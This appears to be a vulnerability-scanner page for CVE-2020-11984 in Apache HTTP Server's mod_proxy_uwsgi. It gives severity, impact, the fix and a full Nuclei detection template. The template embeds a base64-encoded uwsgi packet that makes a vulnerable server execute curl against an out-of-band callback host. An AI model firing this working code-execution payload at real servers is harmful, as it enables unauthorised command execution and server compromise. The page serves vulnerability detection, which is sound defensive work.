Apache HTTP Server - Remote Code Execution

criticalseverity

9.8CVSS score

90%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache HTTP Server 2.4.32 to 2.4.44 contains an info disclosure and possible remote code execution caused by a vulnerability in mod_proxy_uwsgi, letting remote attackers access sensitive information and potentially execute arbitrary code, exploit requires sending crafted requests.

Impact

Attackers can exploit the mod_proxy_uwsgi vulnerability to access sensitive information or execute arbitrary code on the Apache HTTP Server, potentially compromising the entire web server and its hosted applications.

Fix

Update Apache HTTP Server to version 2.4.45 or later.

How to confirm it

Send: POST /
Positive when: contains(interactsh_protocol, "http") and contains(interactsh_request, "User-Agent: curl")

Run it with nuclei: nuclei -id CVE-2020-11984 -u <target>

The full check

id: CVE-2020-11984

info:
  name: Apache HTTP Server - Remote Code Execution
  author: [email protected],pszyszkowski,pdresearch,iamnoooob
  severity: critical
  description: |
    Apache HTTP Server 2.4.32 to 2.4.44 contains an info disclosure and possible remote code execution caused by a vulnerability in mod_proxy_uwsgi, letting remote attackers access sensitive information and potentially execute arbitrary code, exploit requires sending crafted requests.
  impact: |
    Attackers can exploit the mod_proxy_uwsgi vulnerability to access sensitive information or execute arbitrary code on the Apache HTTP Server, potentially compromising the entire web server and its hosted applications.
  remediation: |
    Update Apache HTTP Server to version 2.4.45 or later.
  reference:
    - https://github.com/RubenBar/MLW-upcrans/tree/main/1.Exploit
    - https://nvd.nist.gov/vuln/detail/cve-2020-11984
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11984
    cwe-id: CWE-120
    epss-score: 0.90039
    epss-percentile: 0.99797
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: http_server
    shodan-query: cpe:"cpe:2.3:a:apache:http_server"
  tags: cve,cve2020,apache,httpd,rce,vkev,vuln

variables:
  oast: ".{{interactsh-url}}"
  payload: "{{padding(oast,'a',54,'prefix')}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{replace(base64_decode('AHIAAAoAVVdTR0lfRklMRUsAZXhlYzovL2N1cmwgYWFhYWFhYWEuZmw0NGhoY240NHEydWtsdjI5YnB6dTR1amxwY2QzM3JzLm9hc3RpZnkuY29tOyBlY2hvICIiCwBTQ1JJUFRfTkFNRQoAL3BlbmV0cmF0ZQ=='),'aaaaaaaa.fl44hhcn44q2uklv29bpzu4ujlpcd33rs.oastify.com',payload)}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "User-Agent: curl")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from